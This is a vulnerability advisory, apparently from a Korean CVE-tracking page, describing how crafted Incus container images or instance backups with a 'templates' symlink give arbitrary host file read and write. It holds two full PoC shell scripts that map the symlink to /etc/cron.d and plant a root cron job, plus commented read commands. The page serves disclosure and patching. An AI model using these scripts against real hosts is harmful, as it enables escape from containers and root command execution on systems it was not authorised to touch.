Incus has arbitrary file read+write on host via templates/ symlink in malicious image
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H상세 설명
Summary
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.
For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Malicious container image
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
1#!/bin/sh 2set -eu 3 4tmpdir=$(mktemp -d) 5cleanup() { 6 rm -rf "${tmpdir}" 7} 8trap cleanup EXIT INT QUIT TERM HUP 9 10mkdir -p "${tmpdir}/img/rootfs"11ln -s /etc/cron.d "${tmpdir}/img/templates"12cat<<__EOF__>"${tmpdir}/img/metadata.yaml"13architecture: x86_6414creation_date: 115properties:16 description: PoC templates symlink host afrw17__EOF__18 19cd "${tmpdir}/img"20tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar21incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink22incus init afrw-image-templates-symlink afrw-image-templates-symlink23 24incus config template ls afrw-image-templates-symlink25 26# read27#incus config template show afrw-image-templates-symlink $FILENAME28 29# write30printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-3231#incus config template edit afrw-image-templates-symlink pocMalicious instance backup
Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.
1#!/bin/sh 2set -eu 3 4tmpdir=$(mktemp -d) 5cleanup() { 6 rm -rf "${tmpdir}" 7} 8trap cleanup EXIT INT QUIT TERM HUP 9 10mkdir -p "${tmpdir}/img/backup"11cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"12name: afrw-backup-templates-symlink13backend: dir14pool: default15type: container16optimized: false17__EOF__18 19mkdir "${tmpdir}/img/backup/container"20cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"21container:22 name: afrw-backup-templates-symlink23 architecture: x86_6424 type: container25 status: Stopped26 status_code: 10227 stateful: false28 ephemeral: false29 profiles:30 - default31 config:32 volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be533 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb4934 expanded_config:35 volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be536 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb4937 devices: {}38 expanded_devices:39 root:40 path: /41 pool: default42 type: disk43 created_at: "2024-01-01T00:00:00Z"44 last_used_at: "2024-01-01T00:00:00Z"45volume:46 name: afrw-backup-templates-symlink47 type: container48 content_type: filesystem49 config: {}50pool:51 name: default52 driver: dir53 config: {}54__EOF__55 56cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"57architecture: x86_6458creation_date: 159properties:60 description: afrw-backup-templates-symlink61__EOF__62 63mkdir "${tmpdir}/img/backup/container/rootfs"64ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"65 66cd "${tmpdir}/img"67tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar68incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink69 70incus config template ls afrw-backup-templates-symlink71 72# read73#incus config template show afrw-backup-templates-symlink $FILENAME74 75# write76printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-3277#incus config template edit afrw-templates-symlink pocImpact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.